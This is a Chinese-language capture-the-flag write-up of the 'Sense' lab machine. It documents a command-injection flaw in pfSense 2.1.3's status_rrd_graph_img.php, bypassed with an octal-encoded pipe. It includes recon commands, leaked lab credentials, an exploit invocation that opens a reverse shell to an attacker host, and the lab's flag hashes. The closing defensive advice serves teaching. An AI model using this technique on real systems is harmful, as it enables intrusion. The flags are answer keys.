[Meachines] [Easy] Sense PFSense防火墙RCE
字数 1131 2025-08-20 18:18:23
pfSense防火墙RCE漏洞分析与利用教学文档
1. 漏洞概述
pfSense防火墙2.1.3版本中的status_rrd_graph_img.php页面存在命令注入漏洞。该漏洞源于对graph参数处理不当,虽然进行了正则表达式过滤,但未移除管道字符(|),攻击者可通过八进制编码绕过过滤,实现任意命令执行。
2. 信息收集阶段
2.1 目标识别
- IP地址: 10.10.10.60
- 开放端口:
- TCP 80 (HTTP)
- TCP 443 (HTTPS)
2.2 服务扫描
使用Nmap进行扫描:
nmap -p- 10.10.10.60 --min-rate 1000 -sC -sV
扫描结果:
- 80/tcp: lighttpd 1.4.35 (重定向到HTTPS)
- 443/tcp: lighttpd 1.4.35 (SSL/TLS)
- SSL证书信息:
- 通用名称: Common Name
- 组织: CompanyName
- 地区: Somewhere
- 国家: US
- 有效期: 2017-10-14 至 2023-04-06
- SSL证书信息:
2.3 目录枚举
使用Gobuster进行目录扫描:
gobuster dir -u "https://10.10.10.60/" -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -x html,txt,php -b 404,403 -t 50 -k
发现敏感文件:
curl "https://10.10.10.60/system-users.txt" -k
内容:
username:rohit
password:pfsense
3. 漏洞分析
3.1 漏洞定位
通过SearchSploit查找pfSense相关漏洞:
searchsploit -w PFSense 2.1.3
发现漏洞存在于status_rrd_graph_img.php页面,该页面在处理graph参数时存在命令注入漏洞。
3.2 漏洞原理
- 漏洞文件:
status_rrd_graph_img.php - 漏洞参数:
graph - 过滤机制: 使用正则表达式过滤非法字符
- 绕过方式: 管道字符(
|)未被过滤,可通过八进制编码(\174)绕过
4. 漏洞利用
4.1 利用准备
- 攻击机IP: 10.10.16.14
- 监听端口: 10032
- 获取的凭据:
- 用户名: rohit
- 密码: pfsense
4.2 利用脚本
使用Python编写的漏洞利用脚本(exp.py):
python3 exp.py --rhost 10.10.10.60 --lhost 10.10.16.14 --lport 10032 --username rohit --password pfsense
4.3 利用过程
- 使用获取的凭据登录pfSense系统
- 通过
status_rrd_graph_img.php页面注入命令 - 使用八进制编码绕过过滤
- 建立反向shell连接
5. 后渗透阶段
5.1 获取用户标志
User.txt: 8721327cc232073b40d27d9c17e7348b
5.2 获取root标志
Root.txt: d08c32a5d4f8c8b10e76eb51a69f1a86
6. 防护建议
- 升级到最新版本的pfSense
- 对用户输入进行严格过滤,特别是特殊字符
- 实施最小权限原则,限制Web服务的执行权限
- 监控系统日志,检测异常命令执行行为
- 定期进行安全审计和漏洞扫描
7. 总结
该漏洞展示了Web应用程序中输入验证不足可能导致的安全风险。通过精心构造的输入,攻击者可以绕过过滤机制,执行任意系统命令。防御此类攻击需要多层防护措施,包括严格的输入验证、输出编码、最小权限原则和持续的安全监控。